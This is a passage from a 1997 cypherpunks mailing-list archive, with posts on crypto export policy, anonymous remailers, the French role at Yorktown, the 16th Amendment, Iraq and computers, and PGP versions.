all. Check the facts I mentionned.

                       F.

-- 
Fabrice Planchon                                          (ph) 609/258-6495
Applied Math Program, 210 Fine Hall                      (fax) 609/258-1735







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 25 Nov 1997 09:12:13 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Gov May Tighten Crypto Exports
In-Reply-To: <1.5.4.32.19971124125950.0072d13c@pop.pipeline.com>
Message-ID: <Pine.BSF.3.96.971125014703.22845A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



This was one of the worst researched articles on crypto policy I've read
in a long time. In fact, it is so full of errors, I can't tell what
factual events it is actually attempting to report on. 

On Mon, 24 Nov 1997, John Young wrote:

> Markoff reports today on a plan to tighten crypto exports
> for non-bank financial companies and reactions from
> industry trying to loosen them:
> 
>    http://www.nytimes.com
> 
> Mirrored:
> 
>    http://jya.com/tighten.txt
> 
> 
> 


-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Nov 1997 09:34:06 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Further costs of war
Message-ID: <199711250120.CAA06322@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Fabrice Planchon wrote:
>Once again, if 1812 the [British] invasion [of the United States] actually occured,...

They burned the White House to the ground.  Does that count?  ;-)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Nov 1997 09:38:14 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Seeing Both Sides
Message-ID: <199711250129.CAA08070@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga wrote:
>Concord is clearly proof that Britain didn't understand that they
>couldn't control America anymore and acted on that misinformation. It
>was *their* problem, as the revolution bore out.

Britain would probably have been capable of controlling America had
France not intervened.

France provided desperately needed powder and money to the
revolutionaries.  During the siege of Boston it was seriously proposed
that bow and arrows be employed due to powder shortages.  Spears were
actually prepared for use!

France also provided officers to staff the poorly trained and
organized American armies, troops, and even a navy.

The final victory at Yorktown was largely a French operation, for
example.  Here is Richard N. Rosenfeld's take on it from "American
Aurora":

Page 418: "There are approximately 32,000 French soldiers and sailors
at Yorktown, four to six times the number of George Washington's army,
and more than twice, if not three times, the number of all Americans
at Yorktown, including militia.  Indeed, there are many more French
soldiers on the ground than American Continentals.  The entire
blockading force at sea is French."

Page 419: "Of French and American forces which encircle Charles
Cornwallis at Yorktown, the naval part of this circle consists
strictly of French warships (more than thirty) and sailors (nineteen
thousand!).  America has no warships in this naval blockade."

Page 419: "Orchestrating the siege at Yorktown is strictly a matter
for the French.  Washington has no experience in siege warfare.  The
French perfected the art.  Rochambeau has taken part in fourteen
sieges!  General Lebigne, the Chevalier Du Portail, and other French
officers and engineers take charge of siege operations."

Page 420: "Two French soldiers die for each American death at
Yorktown.  Two French soldiers are wounded for each American wound at
Yorktown.  French casualties exceed 250."

Page 421: "British General Charles O'Hara, acting on behalf of General
Charles Cornwallis (who has pleaded illness), attempts to surrender
Cornwallis' (sic) sword to French Commander in Chief General the Comte
de Rochambeau, but Rochambeau magnanimously refuses to accept the
surrender weapon and directs the British general to George
Washington."

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Nov 1997 09:49:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Iraq and computers
Message-ID: <199711250133.CAA09163@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Michael Wilson wrote that Reuters wrote:
>WASHINGTON (November 23, 1997 02:35 a.m. EST http://www.nando.net) -
>To conceal its deadliest arms from U.N. weapons inspectors, Iraq has
>increasingly turned to U.S.-made computers sold in Baghdad since the
>end of the 1991 Gulf War in violation of international sanctions, the
>Los Angeles Times reported in its Sunday editions.
>
>Quoting U.S. officials and U.N. diplomats, the newspaper said that
>Iraqi scientists and defense officials are using Western-made
>computers to transfer data from bulky papers to small disks that can
>be easily dispersed, making the information difficult for inspectors
>to track.

This is an interesting development because it also makes it hard for
the Iraqi government to track what is going on, too.  The government
of Iraq has been aware of the dangers of computers for many years.  At
one time they were tightly controlled.  Even typewriters were
controlled.  The government had writing samples of each one.

Now, apparently, this policy is loosening.  This suggests that U.S.
policy of the last 8 years has managed to achieve what Saddam Hussein
could not - it has made the Hussein regime a genuinely popular
government.

Still, it can't be universally popular.  How many cypherpunks live in
Iraq?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Tue, 25 Nov 1997 20:36:46 +0800
To: "cypherpunks" <cypherpunks@Algebra.COM>
Subject: Re: NBC Mugs Jim Bell
Message-ID: <199711251228.GAA07808@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

[ To: cypherpunks ## Date: 11/21/97 ##
  Subject: Re: NBC Mugs Jim Bell ]

>Date: Wed, 19 Nov 1997 19:34:33 -0500
>From: John Young <jya@pipeline.com>
>Subject: NBC Mugs Jim Bell

>An NBC News story this evening on the threat of CB terrorism
>full-screened a closeup of Jim Bell's mug shot, the same as
>the lead photo in US News last week. The story presented
>much the same line and Internet sources of frightening
>information but did not balance it with a sidebar on
>burgeoning anti-terrorist opportunism as did US News.

I guess the good news is, we've finally figured out why
they've been holding him so long before sentencing--to make
sure he doesn't miss any of his scheduled media events.
Or perhaps, given the nature of the coverage, to make sure
he *does* miss them all.  We need a good posterboy for one
of the Four Horsemen, to ensure the passage of next year's
Guaranteeing Freedom through Imposition of a Benevolent
Police State Act of 1999, and the following year's
appointment of first lady Tipper Gore as Internet Czar.

   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36

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-----END PGP SIGNATURE-----

   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Tue, 25 Nov 1997 16:04:12 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Anonymity at any cost, from The Netly News
Message-ID: <3.0.16.19971125024708.3bc74668@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:31 PM 11/24/97 -0500, Declan McCullagh wrote:
>*********
>
>http://cgi.pathfinder.com/netly/opinion/0,1042,1594,00.html
>
>The Netly News (http://netlynews.com/)
>November 24, 1997
>
>Anonymity At Any Cost
>by Declan McCullagh (declan@well.com)

The conference must have been interesting. I wish I'd been there.
A few random thoughts:

1. The article doesn't bring this out, but Infonex hosts many/most
of the US based remailers, including the one Joey Grasty and I run
(ran, actually, as we are facing a technical problem at the moment
due to an anti-spam measure taken by Infonex). This makes Lance a
"choke point," just as Sameer was when c2 was in the ISP business.
ISPs with that "go get a warrant/court order" attitude aren't too
common. Telecommunications businesses (especially phone companies)
have historically cooperated with law enforcement.

2. I think that the courts will look at paid-for anonymity cases in
a different way from cases where anonymity is "donated" by trouble-
makers like Joey Grasty. I doubt, for example, that the feds learned
nothing in the Zimmermann case about picking defendants. My buddy
Joey - working at Motorola and living with a wife, cute kid, mother
in law, and cat - is fortunately not that defendant, IMO. A nasty-
looking Austrian Nazi, paying a US provider to break Austrian laws,
just might be. [Ironic that the anonymity which protects him would
certainly be outlawed under the very system that he advocates.]

3. I'd be interested to know the make-up of, and arguments put forth
by, the group(s) which decided the government should limit anonymity.
Obviously, they weighed the costs differently than many of us would.

4. No remailer operator that I am aware of would keep logs for Freeh,
we'd all shut down instead. Keeping records, even if not directly for
law enforcement, automatically makes you a target for them, and for
compelled disclosure by civil attorneys in discovery. "Don't do it,
mon."

If (when) a law or treaty gets passed with the effect of outlawing
anonymous browsing/remailers, it won't appear with a nice, easy to
understand preface that says: "this is an act to outlaw anonymity,
and/or require anonymous service providers to keep records for law
enforcement." It will probably look more like the recent criminal
copyright bill, and rely on hard-to-interpret words like "willful,"
which morph as they move from a civil to a criminal realm. My old
nemesis, the changing definition of the word "escrow," was merely a
warning. Future definition fudging is unlikely to be as brazen, but
will probably be just as dangerous to freedom and privacy.
JMR
[Since I'm not directly on c-punks, please cc any replies to me.]

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Tue, 25 Nov 1997 11:13:49 +0800
To: mail2news@myriad.alias.net
Subject: "Good job NANAE. You really fucked up royally." (was: Furor over Spam)
In-Reply-To: <657kr7$rv@clarknet.clark.net>
Message-ID: <19971125030000.27436.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



tweek@netcom.com (R R M Tweek) wrote:
 
> I think it's fucking funny if you ask me.  The unworthy "databasix goons"
                                                          ^^^^^^^^^^^^^^^^^
> were concerned just about this sort of thing occuring.  

Isn't it amazing how they can "predict" thing like that?

> I hope that  
> LOA was running some sort of caller ID, or supeonas the phone records
> of those calls who step across the line and made threats in their 4am
> phone calls.  Can't wait to see how this story sways the congresscritters
> when Sanford tries to spin this incident his was in the anti-spam legislation
> hearings.  

Maybe you ought to give (or sell cheaply) your fellow "databasix goon" Gary
Burnore the clue that if he's going to call an alleged "spammer" on the phone 
at 2 AM and ream him about a Usenet post, that he shouldn't brag about it 
publicly.

And yet he did exactly that.  Would it be any wonder if people were to
start suspecting that he might have done the same thing again?

Now go subpoena those phone records.  You might want to concentrate on calls
made from the Raleigh-Durham, NC area.  If you're alluding to the fact that 
Ron Guilmette may have been responsible, since the disinformation team at
DataBasix has accused him practically everything else, you have about as
much chance of proving that as O.J. Simpson does of "finding the real 
killers".

> Good job NANAE.  You really fucked up royally.

One could conceivably substitute "DataBasix" for "NANAE" in that flame.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Tue, 25 Nov 1997 11:09:54 +0800
To: mail2news@anon.lcs.mit.edu
Subject: Re: RESULT: comp.org.cauce passes 548:122
In-Reply-To: <ptrg1ommutz.fsf@uta.fi>
Message-ID: <19971125030002.6098.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Jari Aalto -- AT poboxes.com <ssjaaa@uce-die.uta.fi> wrote:

> | Anon.penet.fi was *NOT* an anonymous remailer, though.  It was a "pseudonym
> | server".  The fact that it maintained a database by which posts could be
> | "traced back to a real address" is the main reason why it's no longer in
> | operation.
>    
> You give wrong inmpression about PENET; which was after all, the first
> anonymnous service. There are levels of anonymity. For penet strory,
> refer to this:
> 
> http://www2.thecia.net/users/rnewman/scientology/anon/penet.html

I'm not knocking the anon.penet.fi experiment.  We've all learned a lot from
it.  Let's not forget those lessons.

The same attack has been tried on two different remailers.  In 1996, the
anon.penet.fi remailer was the subject of an attack by the Co$.  As part of
that attack, the remailer's database which linked the "anonymous" accounts
to their actual holders. The operator valiantly defended the integrity of
that database, and it was not compromised.  But the potential was certainly
there.

This year, Jeff Burchell's "Huge Cajones Remailer" came under attack.
Alleging "abuse" involving that remailer, Gary Burnore and Belinda Bryan of 
DataBasix demanded that Jeff turn over ALL his logs to them.  Fortunately, 
Jeff wisely kept no such logs.  Even though the remailer was eventually 
harassed out of existence, the privacy of its users was preserved because the 
information the attackers demanded simply wasn't there to demand.  That's a 
wise idea for the same reason that retail merchants remove the cash from 
their cash registers when they're closed, leaving the cash drawers unlocked.  
There's less temptation to stage an attack if you know in advance that you 
won't get what you're seeking (the identity of someone you'd like to 
silence, for example) by staging such an attack.  Any operator that keeps 
identifying information is inviting litigation, or worse.  If you're an ISP 
and are making money, then perhaps that risk is justified.  But you can't 
expect a volunteer operator of a free remailer to take such a risk for 
nothing.

You're right.  For those who only need a superficial level of "anonymity"
and don't really care if their identity is eventually revealed publicly,
some of the alternatives such as Hotmail would perhaps suffice.  But that's
a decision best left to the user, and not to be mandated by others with a
lesser stake in the consequences.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Tue, 25 Nov 1997 11:13:55 +0800
To: mail2news@myriad.alias.net
Subject: Re: Open Letter from ClickZ Publisher
In-Reply-To: <347b570e.6405845@nntp.ix.netcom.com>
Message-ID: <19971125030003.14451.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



gburnore+spam@netcom.com (Gary L. Burnore) wrote:
 
> : gburnore+spam@netcom.com (Gary L. Burnore) wrote:
> : >      
> : >Oh no, couldn't have been anyone from this group, right?  BULLSHIT.
> :                 
> : Unless it was you, criminal.
>  
> So a being arrested (a ticket actually) is being a criminal to you, eh?

Good ol' Gary "Shoot from the Lip" Burnore ... gotta love 'im, right?  I
gotta hand it to you, Burnore, you have a knack for snatching defeat from
the jaws of victory.  The "criminal" comment was obviously intended as a
joke, and the poster even apologized for it, but you just couldn't leave
it alone, could you?  You had to go bragging about your "martyrdom" in
San Francisco, didn't you? For further info on Gary's arrest, visit: 

   http://www.e-media.com/cm/sac.html

First off, it eventually became "a ticket actually" because it was plea
bargained down to that.  That's one of the advantages of committing a
"politically correct" offense in a city like Frisco.  The San Francisco 
Police Department presumably doesn't take people into custody and impound 
their vehicles for mere traffic tickets.

But it does prove that you're willing to break the law to prove a point.
Remember how you bragged about calling a spammer at home at 2 AM to
harass him?  When you say: 

  "Oh no, couldn't have been anyone from this group, right?  BULLSHIT." 
  
you're absolutely correct.  It could have been you! I have no doubt that 
someone who'd dig up an ancient tax lien and post it to Usenet in an 
attempt to embarass and silence a critic could well have done what's 
mentioned here.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Nov 1997 10:16:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Illusion of Freedom
Message-ID: <199711250205.DAA15538@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Nerthus wrote:
>Monty Cantsin wrote:
>>However, most people who engage in war are not in any sense free and
>>the single most apparent feature of life in a military organization is
>>the elimination of freedom and privacy.
>>
>>It is most often the case that in order to wage war, one must first
>>become enslaved.
>
>Those who wage war are rarely the slaves.  Those who die usually are.
>The "cannon fodder" you mentioned.

"Okay soldier, let's see that pass!"  Is this the treatment accorded
to a free man?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Nov 1997 10:35:21 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Report on UN conferen
Message-ID: <199711250216.DAA17532@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Mikhael Frieden <mikhaelf@mindspring.co> wrote reg. "illegal
immigrants":

 > > In a much more fundamental sense, if they were not given
 > > constitutional protections they really could be rounded up and
 > > bussed across the border.

 > > And what would be wrong with this?

 > Not a damned thing. While in this country they are in the act of
 > committing a crime. Once they have been deported they have
 > stopped committing the crime and then they can plead to appear
 > in court.

It used to be, that people are "felons under an increasing number
of laws". Now we've congressed to an "increasing number of felons
regardless of what they do" (their "crime" is being from "other
side" of the pencil-lines, that the statists have drawn on their
papers).

Even the "freedom-loving", no-boundaries etc. Cypherpunks fall over
those imaginery "border-lines", without having it ever dawn on
them, that *everything* done now to "illegal immigrants" will one
day soon be extended to the government-issued passport/digital
VeriSign-Tax-ID bearing "Americans" as well.
(Please refer to the "War on Drugs" for proof of patterns.)

In fact, it's being done already. The systems developed to "track
down illegal aliens" can track ANYBODY for that matter.

AnybodyHomeMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Nov 1997 10:32:00 +0800
To: cypherpunks@Algebra.COM
Subject: New Algorithm (reposted)
Message-ID: <199711250220.DAA18306@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Hello

 I send you links to my site where my crypto algorithm is published. I
hope you will find time to visit it and see what I have
discover. Algorithms I have design are Anigma and MEX128. Anigma is
encryption algo based on use Variable Function Technology, it
main characteristic is possibility to create unique encryption function
for every possible key. This make algorithm strong to all
known attacks, this is only my thesis I look for your help to find out
is it true. Please visit
<http://eon.pmf.ukim.edu.mk/~kbajalc/algo/index.html>. Documentation
about Anigma and Mex128 now are available only in Macedonian.
I will appreciate very much if you give me your opinion about Anigma and
Mex128 or give me address of people who can do.

                                                                        
Koki

------------------------------------------------------------------------
------------------------- 
 Kostadin Bajalcaliev           http://eon.pmf.ukim.edu.mk/~kbajalc/
 26th of April Str. No: 14
 91480 Gevgelija                 kbajalc@eon.pmf.ukim.edu.mk
 Macedonia                        kbajalc@informa.mk
------------------------------------------------------------------------
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Tue, 25 Nov 1997 16:57:30 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Anonymity at any cost, from The Netly News
Message-ID: <3.0.16.19971125032250.0e3719dc@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:31 PM 11/24/97 -0500, Declan McCullagh wrote:
>*********

>http://cgi.pathfinder.com/netly/opinion/0,1042,1594,00.html

>The Netly News (http://netlynews.com/)
>November 24, 1997

>Anonymity At Any Cost
>by Declan McCullagh (declan@well.com)

>        When Lance Cottrell created an easy-to-use anonymous e-mail service
>	back in 1994, he feared that nobody would use it. "I used to be
>	worried that people didn't want anonymity enough to pay for it,"
>	he says. Today his company, Infonex, boasts 3,000 customers who
>	pay $60 a year to browse the Web without leaving behind digital
>	footprints. 

        Making the cookie read only and erasing previous additions does the
same thing for free. Cottrell is PT Barnum speaking. 

-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mikhael Frieden <mikhaelf@mindspring.com>
Date: Tue, 25 Nov 1997 16:56:27 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Free speech and jlist groups press conf on ratings (12/1)
Message-ID: <3.0.16.19971125033024.0bdf946a@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:34 PM 11/24/97 -0800, Declan McCullagh wrote:
>
>
>                         ** MEDIA ADVISORY **
>
>           Press Conference on Internet Ratings and Filtering
>
>
>WHO:   Internet Free Expression Alliance (IFEA)
>
>WHAT:  Press conference announcing the formation of IFEA, a coalition of
>organizations devoted to the continuation of the Internet as a forum for
>open expression and to identify new threats to free expression and First
>Amendment values on the Internet, whether legal or technological.
>
>WHEN:  Monday, December 1, 12:30 p.m.
>
>WHERE: First Amendment Lounge
>       National Press Club
>       14th & F Streets, N.W.
>       Washington, DC
>
>WHY:   To address the free speech issues raised by proposals to rate
>and filter "objectionable" content on the Internet.  

        Is there any suggestion as to the first meaning to define
"objectionable"? 

        Of course not. That would limit the number of expense paid trips
around the country definitions the organization paying the bills does not
agree with. 

        "Objectionable" means anyone can write off a pseudo-vacation. And
you do not eveb have to show up for the sessions and interupt the
sightseeing tour. 




-=-=-
The 2nd guarantees all the rest. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Nov 1997 10:50:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Seeing Both Sides
Message-ID: <199711250244.DAA22331@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga wrote:
>Concord is clearly proof that Britain didn't understand that they
>couldn't control America anymore and acted on that misinformation. It
>was *their* problem, as the revolution bore out.

Britain would probably have been capable of controlling America had
France not intervened.

France provided desperately needed powder and money to the
revolutionaries.  During the siege of Boston it was seriously proposed
that bow and arrows be employed due to powder shortages.  Spears were
actually prepared for use!

France also provided officers to staff the poorly trained and
organized American armies, troops, and even a navy.

The final victory at Yorktown was largely a French operation, for
example.  Here is Richard N. Rosenfeld's take on it from "American
Aurora":

Page 418: "There are approximately 32,000 French soldiers and sailors
at Yorktown, four to six times the number of George Washington's army,
and more than twice, if not three times, the number of all Americans
at Yorktown, including militia.  Indeed, there are many more French
soldiers on the ground than American Continentals.  The entire
blockading force at sea is French."

Page 419: "Of French and American forces which encircle Charles
Cornwallis at Yorktown, the naval part of this circle consists
strictly of French warships (more than thirty) and sailors (nineteen
thousand!).  America has no warships in this naval blockade."

Page 419: "Orchestrating the siege at Yorktown is strictly a matter
for the French.  Washington has no experience in siege warfare.  The
French perfected the art.  Rochambeau has taken part in fourteen
sieges!  General Lebigne, the Chevalier Du Portail, and other French
officers and engineers take charge of siege operations."

Page 420: "Two French soldiers die for each American death at
Yorktown.  Two French soldiers are wounded for each American wound at
Yorktown.  French casualties exceed 250."

Page 421: "British General Charles O'Hara, acting on behalf of General
Charles Cornwallis (who has pleaded illness), attempts to surrender
Cornwallis' (sic) sword to French Commander in Chief General the Comte
de Rochambeau, but Rochambeau magnanimously refuses to accept the
surrender weapon and directs the British general to George
Washington."

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Nov 1997 11:03:07 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Violence and Depravity
Message-ID: <199711250251.DAA23507@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

A Noncom To Be Named Later wrote:
>Monty Cantsin wrote:
>>Violence is, in nearly every case, a poor investment of time, >money, and energy.
>
>I disagree.

I've removed the discussion regarding McVeigh's involvement.  It is
entirely possible he is an Oswald.  I simply do not know.  However, my
discussion was really intended to consider the morality of war and to
point out that McVeigh's alleged actions and alleged values are not
far removed from those exercised by governmentally sponsored warriors.

If you like, change all the names and call it a thought problem.

>Consider that if this action was meant to revenge or commemorate the
>Waco massacre, it achieved the opposite goal.  However, if this was
>the work of agents-provocateur, it worked beautifully.

For the sake of discussion, let's say that the Oklahoma City bombing
was the act of provocateurs hoping to increase the power and authority
of the U.S. Federal government.  It is the case that the use of
violence has been applied to this goal successfully many times in the
past.

This certainly does call into question my claim that "Violence is, in
nearly every case, a poor investment of time, money, and energy."

Your observation and my claim are actually not inconsistent if you
consider that I do not consider increasing the power and authority of
most governments as a good thing.

Let's expand the discussion to war.  If one considers it desirable to:

1. increase taxes,
2. to waste vast resources,
3. to kill large numbers of civilians indiscriminately or methodically,
4. to kill large numbers of conscripts,
5. to destroy the land,
6. to create millions of people who will live the rest of their lives
   in post combat nightmares,
7. to lay the seeds for future wars,
8. to create thousands, or even millions, of orphans,
9. to cause food shortages and disease,
10. and to traumatize human society,

then violence in the form of war is a good investment.  Not too many
people see this as desirable.

I still maintain that in nearly every case, if one is intent on
pursuing a worthwhile goal, it will not be attained through the use of
violence.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Tue, 25 Nov 1997 12:32:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Further costs of war
Message-ID: <19971125042001.3010.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Robert Hettinga wrote:
>Of course, all the pseudoconstitutionalist claptrap about the 16th being
>unconstitutional is, of course, that. The constitution's what the Supreme
>Court says it is, unfortunately.

I don't agree with you on this one, Bob.

The fact is that the 16th was never properly ratified.  It slid through the 
cracks, contrary to the procedure for ratifying amendments as outlined in 
the Constitution.  The reason there was no public outcry was because the 
initial tax was 1% on anyone earning more than $4,000 a year (roughly 
$80,000 in today's money).  Besides, I seriously doubt many people rushed
down to the Treasury to cough up their 1% either.

This deceptive non-ratification is clearly documented by Bill Benson in his 
book "The Law That Never Was" <http://www.trustclarks.com/theman.html>.  
Although his book has been in print for several years, I have yet to hear of 
anyone who has refuted his claims.

The "pseudoconstitutionalist claptrap" that should be pointed out is 
your claim that "the constitution's what the Supreme Court says it is."  
Article III, Section 2 of the Constitution gives the Supreme Court judicial 
power "...to all Cases, in Law and Equity, arising under this 
Constitution..."

The words "under this Constitution" imply that the Supreme Court must work 
by the letter of the law as outlined in the Constitution.  How can the 
Supreme Court pass a decision involving the 16th when the amendment was 
never ratified as outlined in Section V?  These are the kind of shenanigans
one would expect from a banana republic tribunal, not the Supreme Court.

>Doesn't mean the damn thing shouldn't be repealed, though there's fat
>chance of that. 

Why bother to repeal what never existed?  When enough people learn what 
really happened, and when they couple it with the fact that most of their 
tax money is wasted and could be better "redistributed" according to their
own individual judgement, the house of cards will collapse.

>                 Oh well. Fortunately, we can fight back with digital bearer
>settlement. Someday. Soon, I hope.

I hope so, too.  But I don't advocate waiting until that day to fight back.
We can start now by learning the facts and then passing on that knowledge.
Consider it to be the creation of a ready and willing market for digital
bearer certificates.

Nerthus

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=wg93
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 25 Nov 1997 12:06:33 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Report on UN conferen
Message-ID: <199711250400.FAA03801@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> 
> Even the "freedom-loving", no-boundaries etc. Cypherpunks fall over
> those imaginery "border-lines", without having it ever dawn on
> them, that *everything* done now to "illegal immigrants" will one
> day soon be extended to the government-issued passport/digital
> VeriSign-Tax-ID bearing "Americans" as well.
> (Please refer to the "War on Drugs" for proof of patterns.)

Please give us some references to your abusive and highly infalmmatory
allegations that the Gov't has followed a pattern of transgression on
the rights of any judaeo-christian-god-fearing-tax-paying-40bit-key-using-honest-law-abiding-citizen.(TM)

I for one just can't bring myself to believe it.


> In fact, it's being done already. The systems developed to "track
> down illegal aliens" can track ANYBODY for that matter.

Proof Please.  Or at least a more concrete reference to these nebulous
systems would be nice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goddesshera@juno.com (Anonymous Remailer)
Date: Tue, 25 Nov 1997 21:11:49 +0800
To: cypherpunks@toad.com
Subject: PGP 5.0 ConsensuS?? -- is it usable?
Message-ID: <19971125.060408.8463.10.goddesshera@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Do you think that it is a good idea to migrate from pgp 2.6.3 to
pgp 5.0 now?



This message was automatically remailed. The sender is unknown, unlogged,
and nonreplyable. Send complaints and blocking requests to
<goddesshera@juno.com>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brandon Crosby <bcrosby@mncs.k12.mn.us>
Date: Tue, 25 Nov 1997 22:29:45 +0800
To: cypherpunks@toad.com
Subject: Re: Iraq and computers
Message-ID: <199711251420.IAA22997@ted.mncs.k12.mn.us>
MIME-Version: 1.0
Content-Type: text



> Monkey Catskin wrote:
> > Michael Wilson wrote that Reuters wrote:
> > >Quoting U.S. officials and U.N. diplomats, the newspaper said that
> > >Iraqi scientists and defense officials are using Western-made
> > >computers to transfer data from bulky papers to small disks that can
> > >be easily dispersed, making the information difficult for inspectors
> > >to track.
> > This is an interesting development because it also makes it hard for
> > the Iraqi government to track what is going on, too.  The government
> > of Iraq has been aware of the dangers of computers for many years.  At
> > one time they were tightly controlled.  Even typewriters were
> > controlled.  The government had writing samples of each one.
> > Now, apparently, this policy is loosening.  This suggests that U.S.
> > policy of the last 8 years has managed to achieve what Saddam Hussein
> > could not - it has made the Hussein regime a genuinely popular
> > government.
I wonder... does Iraq have a web site?

While third world contries seldom have computer specialists, it seemed
pretty easy for Iraq to get biological weapon specialists working for
them. [Other more sensible arguments exist...]

Iraq has more money than they can reasonably spend, but management
troubles. Solution: IntraIraq, the network with Sadam ads. While burning
papers has some flare to it, it's pretty likely that most of the
classified data not in Sadam's head must be in some computer system[s],
easily housed by the UN no-no sites for inspectors.

Also, can Iraq's people create [and display] web pages?

-Brandon Crosby





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brandon Crosby <bcrosby@mncs.k12.mn.us>
Date: Tue, 25 Nov 1997 22:40:35 +0800
To: cypherpunks@toad.com
Subject: Re: BIOS Help
Message-ID: <199711251426.IAA23064@ted.mncs.k12.mn.us>
MIME-Version: 1.0
Content-Type: text



> Hi Brandon,
> 
> > Does anyone know where specs for Award BIOS chips are? I accidentily
